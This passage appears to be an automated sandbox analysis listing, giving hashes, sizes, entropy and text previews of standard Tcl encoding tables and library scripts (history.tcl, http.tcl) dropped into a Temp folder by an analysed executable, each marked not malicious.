Preview:	# Encoding file: macCroatian, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.00C400C500C700C900D100D600DC00E100E000E200E400E300E500E700E900E8.00EA00EB00ED00EC00EE00EF00F100F300F200F400F600F500FA00F900FB00FC.202000B000A200A300A7202200B600DF00AE0160212200B400A82260017D00D8.221E00B122642265220600B522022211220F0161222B00AA00BA03A9017E00F8.00BF00A100AC221A01922248010600AB010C202600A000C000C300D501520153.01102014201C201D2018201900F725CAF8FF00A9204420AC2039203A00C600BB.201300B7201A201E203000C2010700C101

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macCyrillic.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	3.3482225358368565
Encrypted:	false
SSDEEP:	24:8dTUmJvRju3ShVbsZiAMiZyb7P4GE+SAJlM9aDpiR/Pk956e3cmh:8dgmOEVIwAMiw/Pr5NY3k9nsmh
MD5:	60FFC8E390A31157D8646AEAC54E58AE
SHA1:	3DE17B2A5866272602FB8E9C54930A4CD1F3B06C
SHA-256:	EB135A89519F2E004282DED21B11C3AF7CCB2320C9772F2DF7D1A4A1B674E491
SHA-512:	3644429A9BD42ADC356E1BD6FCFABEE120E851348B538A4FE4903B72A533174D7448A6C2DA71219E4CD5D0443C0475417D54C8E113005DF2CA20C608DE5E3306
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macCyrillic, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0410041104120413041404150416041704180419041A041B041C041D041E041F.0420042104220423042404250426042704280429042A042B042C042D042E042F.202000B0049000A300A7202200B6040600AE00A9212204020452226004030453.221E00B122642265045600B504910408040404540407045704090459040A045A.0458040500AC221A01922248220600AB00BB202600A0040B045B040C045C0455.20132014201C201D2018201900F7201E040E045E040F045F211604010451044F.0430043104320433043404350436043704

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macDingbats.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	3.8086748658227827
Encrypted:	false
SSDEEP:	24:87JM0UmJvRjuyfqYCsUBOdXBCbtwHviANskNWkiXFtoE4OSFgHrBPkq:87KfmOEqYCs6CXRPiANHWkiXFt9XSMdf
MD5:	EBD121A4E93488A48FC0A06ADE9FD158
SHA1:	A40E6DB97D6DB2893A072B2275DC22E2A4D60737
SHA-256:	8FBCC63CB289AFAAE15B438752C1746F413F3B79BA5845C2EF52BA1104F8BDA6
SHA-512:	26879ABE4854908296F32B2BB97AEC1F693C56EC29A7DB9B63B2DA62282F2D2EDAE9D50738595D1530731DF5B1812719A74F50ADF521F80DD5067F3DF6A3517C
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macDingbats, single-byte.S.003F 1 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.00202701270227032704260E2706270727082709261B261E270C270D270E270F.2710271127122713271427152716271727182719271A271B271C271D271E271F.2720272127222723272427252726272726052729272A272B272C272D272E272F.2730273127322733273427352736273727382739273A273B273C273D273E273F.2740274127422743274427452746274727482749274A274B25CF274D25A0274F.27502751275225B225BC25C6275625D727582759275A275B275C275D275E007F.F8D7F8D8F8D9F8DAF8DBF8DCF8DDF8DEF8DFF8E0F8E1F8E2F8E3F8E4008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000276127622763276427652766276726632666266526602460246124622463.2464246524662467246824692776277727782779277A277B277C277D277E277F.2780278127822783278427852786278727882789278A278B278C278D278E278F.2790279127922793279421922194219527982799279A279B279C279D279E279F.27A027A127A227A327A427A527A627A727

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macGreek.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1093
Entropy (8bit):	3.4271472017271556
Encrypted:	false
SSDEEP:	24:8dOTUmJvRju3ShVbsZiAMiZyb7P4Hlb7BMM2aSYjsSkUEkp1FsOSUTime:8kgmOEVIwAMiw/Pg7K23s0x1FsOJTime
MD5:	14AD68855168E3E741FE179888EA7482
SHA1:	9C2AD53D69F5077853A05F0933330B5D6F88A51C
SHA-256:	F7BFF98228DED981EC9A4D1D0DA62247A8D23F158926E3ACBEC3CCE379C998C2
SHA-512:	FB13F32197D3582BC20EEA604A0B0FD7923AE541CCEB3AF1CDE36B0404B8DB6312FB5270B40CBC8BA4C91B9505B57FB357EB875E8AFB3DB76DFB498CE17851ED
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macGreek, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.00C400B900B200C900B300D600DC038500E000E200E4038400A800E700E900E8.00EA00EB00A3212200EE00EF202200BD203000F400F600A600AD00F900FB00FC.2020039303940398039B039E03A000DF00AE00A903A303AA00A7226000B000B7.039100B12264226500A503920395039603970399039A039C03A603AB03A803A9.03AC039D00AC039F03A1224803A400AB00BB202600A003A503A7038603880153.20132015201C201D2018201900F70389038A038C038E03AD03AE03AF03CC038F.03CD03B103B203C803B403B503C603B303B70

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macIceland.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	3.3292041026777457
Encrypted:	false
SSDEEP:	24:8KTUmJvRju3ShVbsZiAMiZyb7P4SNMVtOZm5YRMdjY4g4JysAWD:8KgmOEVIwAMiw/Pf2YRMFBEszD
MD5:	6D52A84C06970CD3B2B7D8D1B4185CE6
SHA1:	C434257D76A9FDF81CCCD8CC14242C8E3940FD89
SHA-256:	633F5E3E75BF1590C94AB9CBF3538D0F0A7A319DB9016993908452D903D9C4FD
SHA-512:	711F4DC86DD609823BF1BC5505DEE9FA3875A8AA7BCA31DC1B5277720C5ABE65B62E8A592FC55D99D1C7CA181FDDC2606551C43A9D12489B9FECFF152E9A3DCF
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macIceland, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.00C400C500C700C900D100D600DC00E100E000E200E400E300E500E700E900E8.00EA00EB00ED00EC00EE00EF00F100F300F200F400F600F500FA00F900FB00FC.00DD00B000A200A300A7202200B600DF00AE00A9212200B400A8226000C600D8.221E00B12264226500A500B522022211220F03C0222B00AA00BA03A900E600F8.00BF00A100AC221A01922248220600AB00BB202600A000C000C300D501520153.20132014201C201D2018201900F725CA00FF0178204420AC00D000F000DE00FE.00FD00B7201A201E203000C200CA00C100C

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macJapan.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	48028
Entropy (8bit):	3.3111639331656635
Encrypted:	false
SSDEEP:	768:ehuW1PJnT9TO7RaQiPCLUKr7KBi9FrOLdtHJ:eZPV9KuqTxFGXp
MD5:	105B49F855C77AE0D3DED6C7130F93C2
SHA1:	BA187C52FAE9792DA5BFFBEAA781FD4E0716E0F6
SHA-256:	2A6856298EC629A16BDD924711DFE3F3B1E3A882DDF04B7310785D83EC0D566C
SHA-512:	5B5FBE69D3B67AF863759D92D4A68481EC2211FF84ED9F0B3BD6129857966DE32B42A42432C44B9246C9D0D9C4C546CD3C6D13FF49BD338192C24AD053C0602E
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macJapan, multi-byte.M.003F 0 46.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.00A0FF61FF62FF63FF64FF65FF66FF67FF68FF69FF6AFF6BFF6CFF6DFF6EFF6F.FF70FF71FF72FF73FF74FF75FF76FF77FF78FF79FF7AFF7BFF7CFF7DFF7EFF7F.FF80FF81FF82FF83FF84FF85FF86FF87FF88FF89FF8AFF8BFF8CFF8DFF8EFF8F.FF90FF91FF92FF93FF94FF95FF96FF97FF98FF99FF9AFF9BFF9CFF9DFF9EFF9F.0000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macRoman.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1093
Entropy (8bit):	3.3361385497578406
Encrypted:	false
SSDEEP:	24:8TTUmJvRju3ShVbsZiAMiZyb7P4SNMVtOZm5YRMdjBtRg4JysAWD:8TgmOEVIwAMiw/P32YRMTtRBEszD
MD5:	30BECAE9EFD678B6FD1E08FB952A7DBE
SHA1:	E4D8EA6A0E70BB793304CA21EB1337A7A2C26A31
SHA-256:	68F22BAD30DAA81B215925416C1CC83360B3BB87EFC342058929731AC678FF37
SHA-512:	E87105F7A5A983ACEAC55E93FA802C985B2B19F51CB3C222B4C13DDCF17C32D08DF323C829FB4CA33770B668485B7D14B7F6B0CF2287B0D76091DE2A675E88BD
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macRoman, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.00C400C500C700C900D100D600DC00E100E000E200E400E300E500E700E900E8.00EA00EB00ED00EC00EE00EF00F100F300F200F400F600F500FA00F900FB00FC.202000B000A200A300A7202200B600DF00AE00A9212200B400A8226000C600D8.221E00B12264226500A500B522022211220F03C0222B00AA00BA03A900E600F8.00BF00A100AC221A01922248220600AB00BB202600A000C000C300D501520153.20132014201C201D2018201900F725CA00FF0178204420AC2039203AFB01FB02.202100B7201A201E203000C200CA00C100CB0

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macRomania.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	3.342586490827578
Encrypted:	false
SSDEEP:	24:8tTUmJvRju3ShVbsZiAMiZyb7P4SNMVZSxOZFYRMdj/TAg4JysAWD:8tgmOEVIwAMiw/P3AtYRMFTABEszD
MD5:	C9AD5E42DA1D2C872223A14CC76F1D2B
SHA1:	E257BD16EF34FDC29D5B6C985A1B45801937354C
SHA-256:	71AE80ADFB437B7BC88F3C76FD37074449B3526E7AA5776D2B9FD5A43C066FA8
SHA-512:	74588523D35A562AD4B1AF2B570596194D8C5018D5B44C8BA2B1F6BAD422D06E90172B0E65BB975663F3A3C246BCF2F598E9778BA86D1C5A51F5C0A38A2670EC
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macRomania, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.00C400C500C700C900D100D600DC00E100E000E200E400E300E500E700E900E8.00EA00EB00ED00EC00EE00EF00F100F300F200F400F600F500FA00F900FB00FC.202000B000A200A300A7202200B600DF00AE00A9212200B400A822600102015E.221E00B12264226500A500B522022211220F03C0222B00AA00BA21260103015F.00BF00A100AC221A01922248220600AB00BB202600A000C000C300D501520153.20132014201C201D2018201900F725CA00FF0178204400A42039203A01620163.202100B7201A201E203000C200CA00C100C

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macThai.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	3.539905812302991
Encrypted:	false
SSDEEP:	24:88TUmJvRju3ShVbsZiAMiZyb7P4oJi8XPHmED43U/Tmh:88gmOEVIwAMiw/PNJpP43U0
MD5:	163729C7C2B1F5A5DE1FB7866C93B102
SHA1:	633D190B5E281CFC0178F6C11DD721C6A266F643
SHA-256:	CEAD5EB2B0B44EF4003FBCB2E49CA0503992BA1D6540D11ACBBB84FDBBD6E79A
SHA-512:	2093E3B59622E61F29276886911FAA50BA3AA9D903CAF8CB778A1D3FDB3D1F7DA43071AFC3672C27BE175E7EEBBC542B655A85533F41EA39F32E80663CAF3B44
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macThai, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.00AB00BB2026F88CF88FF892F895F898F88BF88EF891F894F897201C201DF899.FFFD2022F884F889F885F886F887F888F88AF88DF890F893F89620182019FFFD.00A00E010E020E030E040E050E060E070E080E090E0A0E0B0E0C0E0D0E0E0E0F.0E100E110E120E130E140E150E160E170E180E190E1A0E1B0E1C0E1D0E1E0E1F.0E200E210E220E230E240E250E260E270E280E290E2A0E2B0E2C0E2D0E2E0E2F.0E300E310E320E330E340E350E360E370E380E390E3AFEFF200B201320140E3F.0E400E410E420E430E440E450E460E470E480E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macTurkish.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	3.353168947106635
Encrypted:	false
SSDEEP:	24:8QjTUmJvRju3ShVbsZiAMiZyb7P4SNMVtOZm5YRMdD/g4JysD:88gmOEVIwAMiw/P32YRM9BEsD
MD5:	F20CBBE1FF9289AC4CBAFA136A9D3FF1
SHA1:	382E34824AD8B79EF0C98FD516750649FD94B20A
SHA-256:	F703B7F74CC6F5FAA959F51C757C94623677E27013BCAE23BEFBA01A392646D9
SHA-512:	23733B711614EA99D954E92C6035DAC1237866107FE11CDD5B0CD2A780F22B9B7B879570DB38C6B9195F54DAD9DFB0D60641AB37DFF3C51CF1A11D1D36471B2D
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macTurkish, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.00C400C500C700C900D100D600DC00E100E000E200E400E300E500E700E900E8.00EA00EB00ED00EC00EE00EF00F100F300F200F400F600F500FA00F900FB00FC.202000B000A200A300A7202200B600DF00AE00A9212200B400A8226000C600D8.221E00B12264226500A500B522022211220F03C0222B00AA00BA03A900E600F8.00BF00A100AC221A01922248220600AB00BB202600A000C000C300D501520153.20132014201C201D2018201900F725CA00FF0178011E011F01300131015E015F.202100B7201A201E203000C200CA00C100C

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\macUkraine.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	3.3460856516901947
Encrypted:	false
SSDEEP:	24:8TzTUmJvRju3ShVbsZiAMiZyb7P4GE+SAJlM9aDpiR/Pk956e3cmq:8PgmOEVIwAMiw/Pr5NY3k9nsmq
MD5:	92716A59D631BA3A352DE0872A5CF351
SHA1:	A487946CB2EFD75FD748503D75E495720B53E5BC
SHA-256:	4C94E7FBE183379805056D960AB624D78879E43278262E4D6B98AB78E5FEFEA8
SHA-512:	863A667B6404ED02FE994089320EB0ECC34DC431D591D661277FB54A2055334DBEBCAAE1CA06FB8D190727EBA23A47B47991323BE35E74C182F83E5DEAA0D83B
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: macUkraine, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0410041104120413041404150416041704180419041A041B041C041D041E041F.0420042104220423042404250426042704280429042A042B042C042D042E042F.202000B0049000A300A7202200B6040600AE00A9212204020452226004030453.221E00B122642265045600B504910408040404540407045704090459040A045A.0458040500AC221A01922248220600AB00BB202600A0040B045B040C045C0455.20132014201C201D2018201900F7201E040E045E040F045F211604010451044F.04300431043204330434043504360437043

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\shiftjis.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	41862
Entropy (8bit):	3.4936148161949747
Encrypted:	false
SSDEEP:	768:/huW1PJnT9TOZRaQiPCLUKr7KBi9FrOLdtY:/ZPV9KoqTxFGXY
MD5:	8FBCB1BBC4B59D6854A8FCBF25853E0D
SHA1:	2D56965B24125D999D1020C7C347B813A972647C
SHA-256:	7502587D52E7810228F2ECB45AC4319EA0F5C008B7AC91053B920010DC6DDF94
SHA-512:	128E66F384F9EA8F3E7FBEAD0D3AA1D45570EB3669172269A89AE3B522ED44E4572C6A5C9281B7E219579041D14FF0E76777A36E3902BFA1B58DC3DA729FA075
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: shiftjis, multi-byte.M.003F 0 40.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080000000000000000000850086008700000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000FF61FF62FF63FF64FF65FF66FF67FF68FF69FF6AFF6BFF6CFF6DFF6EFF6F.FF70FF71FF72FF73FF74FF75FF76FF77FF78FF79FF7AFF7BFF7CFF7DFF7EFF7F.FF80FF81FF82FF83FF84FF85FF86FF87FF88FF89FF8AFF8BFF8CFF8DFF8EFF8F.FF90FF91FF92FF93FF94FF95FF96FF97FF98FF99FF9AFF9BFF9CFF9DFF9EFF9F.0000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\symbol.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.675943323650254
Encrypted:	false
SSDEEP:	24:Sd0UmJvRjuLoVoMQVoRmSdsTAsSnP9Us+yw4VivXObCXv:afmOEVoMQVoRmosTHSP9U/ydmXwCXv
MD5:	1B612907F31C11858983AF8C009976D6
SHA1:	F0C014B6D67FC0DC1D1BBC5F052F0C8B1C63D8BF
SHA-256:	73FD2B5E14309D8C036D334F137B9EDF1F7B32DBD45491CF93184818582D0671
SHA-512:	82D4A8F9C63F50E5D77DAD979D3A59729CD2A504E7159AE3A908B7D66DC02090DABD79B6A6DC7B998C32C383F804AACABC564A5617085E02204ADF0B13B13E5B
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: symbol, single-byte.S.003F 1 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002122000023220300250026220D002800292217002B002C2212002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.22450391039203A70394039503A603930397039903D1039A039B039C039D039F.03A0039803A103A303A403A503C203A9039E03A80396005B2234005D22A5005F.F8E503B103B203C703B403B503C603B303B703B903D503BA03BB03BC03BD03BF.03C003B803C103C303C403C503D603C903BE03C803B6007B007C007D223C007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.000003D2203222642044221E0192266326662665266021942190219121922193.00B000B12033226500D7221D2202202200F72260226122482026F8E6F8E721B5.21352111211C21182297229522052229222A2283228722842282228622082209.2220220700AE00A92122220F221A22C500AC2227222821D421D021D121D221D3.22C42329F8E8F8E9F8EA2211F8EBF8ECF8EDF8E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\tis-620.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	2.9763240350841884
Encrypted:	false
SSDEEP:	24:ZlTUmJvRju3ShVbsZiAMiZyb7PNHmED43U/TW5dF:PgmOEVIwAMiw/PJ43UKF
MD5:	7273E998972C9EFB2CEB2D5CD553DE49
SHA1:	4AA47E6DF964366FA3C29A0313C0DAE0FA63A78F
SHA-256:	330517F72738834ECBF4B6FA579F725B4B33AD9F4669975E727B40DF185751FF
SHA-512:	56BF15C123083D3F04FE0C506EE8ECE4C08C17754F0CAAD3566F1469728CFD2F0A487023DCB26432240EB09F064944D3EF08175979F5D1D2BF734E7C7C609055
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: tis-620, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E0000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.00000E010E020E030E040E050E060E070E080E090E0A0E0B0E0C0E0D0E0E0E0F.0E100E110E120E130E140E150E160E170E180E190E1A0E1B0E1C0E1D0E1E0E1F.0E200E210E220E230E240E250E260E270E280E290E2A0E2B0E2C0E2D0E2E0E2F.0E300E310E320E330E340E350E360E370E380E390E3A00000000000000000E3F.0E400E410E420E430E440E450E460E470E480E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\history.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8965
Entropy (8bit):	4.797372265665968
Encrypted:	false
SSDEEP:	192:D/LSKxptMOtJt+tztUtputBtKtPpkyCqXLo9f6Jy3MN6QNiLtHQYTba3QYQYxlWl:DFxptHXQ9K7u7MZnCYq
MD5:	2C3BBE593E10F8B25A1AE7753AC60C3A
SHA1:	4D5A635C327FA29E9DDF9E6A2A44081C8DB8AA5A
SHA-256:	F136E0DB9E71468E4D9D93200CD2D04E6915D5546681BFECA6CB9A620BA648BA
SHA-512:	82B83610D273FAF980FF7BEEDD5BEE5C17FFED11A5F9B146135764ED2B86D57B98D3AEC50D2C9E7C72DA7C8CBC0329A712828D2ACEC27CC6C461924942C9B859
Malicious:	false
Reputation:	unknown
Preview:	# history.tcl --.#.# Implementation of the history command..#.# Copyright (c) 1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# The tcl::history array holds the history list and.# some additional bookkeeping variables..#.# nextid.the index used for the next history list item..# keep..the max size of the history list.# oldest.the index of the oldest item in the history...namespace eval tcl {. variable history. if {![info exists history]} {..array set history {.. nextid.0.. keep.20.. oldest.-20..}. }.}..# history --.#.#.This is the main history command. See the man page for its interface..#.This does argument checking and calls helper procedures in the.#.history namespace...proc history {args} {. set len [llength $args]. if {$len == 0} {..return [tcl::HistInfo]. }. set key [lindex $args 0]. set options "add, change, clear, event, info, keep

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\http1.0\http.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9693
Entropy (8bit):	4.753694945075162
Encrypted:	false
SSDEEP:	192:kQkH8VqqNg5PPx7GRpoMJesrCL2coOG0vARQVSDR6VrKj7vWQYQ7r1QvLbDPv:pVqeglpu6toO3ACUpGv
MD5:	36AB75BA723A2EEE692A2C518DAAA739
SHA1:	1FB133F5E012F36BFBAAFD836E9F689FB82FFAC3
SHA-256:	88220B059956D3F331B29C514F0D4AD77FBD840EFB27F0C2621510800A9B9094
SHA-512:	24087FCD75C51280722AE64564F28934101F99F568CB5230D91517643D43DAC16E0462DE5FC967BF8CC0CC71708D6C47B9D9986FB21964D0B1EA6016E4C10D23
Malicious:	false
Reputation:	unknown
Preview:	# http.tcl.# Client-side HTTP for GET, POST, and HEAD commands..# These routines can be used in untrusted code that uses the Safesock.# security policy..# These procedures use a callback interface to avoid using vwait,.# which is not defined in the safe base..#.# See the http.n man page for documentation..package provide http 1.0..array set http {. -accept /. -proxyhost {}. -proxyport {}. -useragent {Tcl http client package 1.0}. -proxyfilter httpProxyRequired.}.proc http_config {args} {. global http. set options [lsort [array names http -*]]. set usage [join $options ", "]. if {[llength $args] == 0} {..set result {}..foreach name $options {.. lappend result $name $http($name)..}..return $result. }. regsub -all -- - $options {} options. set pat ^-([join $options \|])$. if {[llength $args] == 1} {..set flag [lindex $args 0]..if {[regexp -- $pat $flag]} {.. return $http($flag)..} else {.. return -code error "Unknown option $flag, must be:

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\http1.0\pkgIndex.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	735
Entropy (8bit):	4.669068874824871
Encrypted:	false
SSDEEP:	12:jHxxYRs+opS42wyGlTajUA43KXks4L57+HkuRz20JSv6C3l5kl:bbYRshS42wyGlTah9XkbL5i1z2jxXkl
MD5:	10EC7CD64CA949099C818646B6FAE31C
SHA1:	6001A58A0701DFF225E2510A4AAEE6489A537657
SHA-256:	420C4B3088C9DACD21BC348011CAC61D7CB283B9BEE78AE72EED764AB094651C
SHA-512:	34A0ACB689E430ED2903D8A903D531A3D734CB37733EF13C5D243CB9F59C020A3856AAD98726E10AD7F4D67619A3AF1018F6C3E53A6E073E39BD31D088EFD4AF
Malicious:	false
Reputation:	unknown
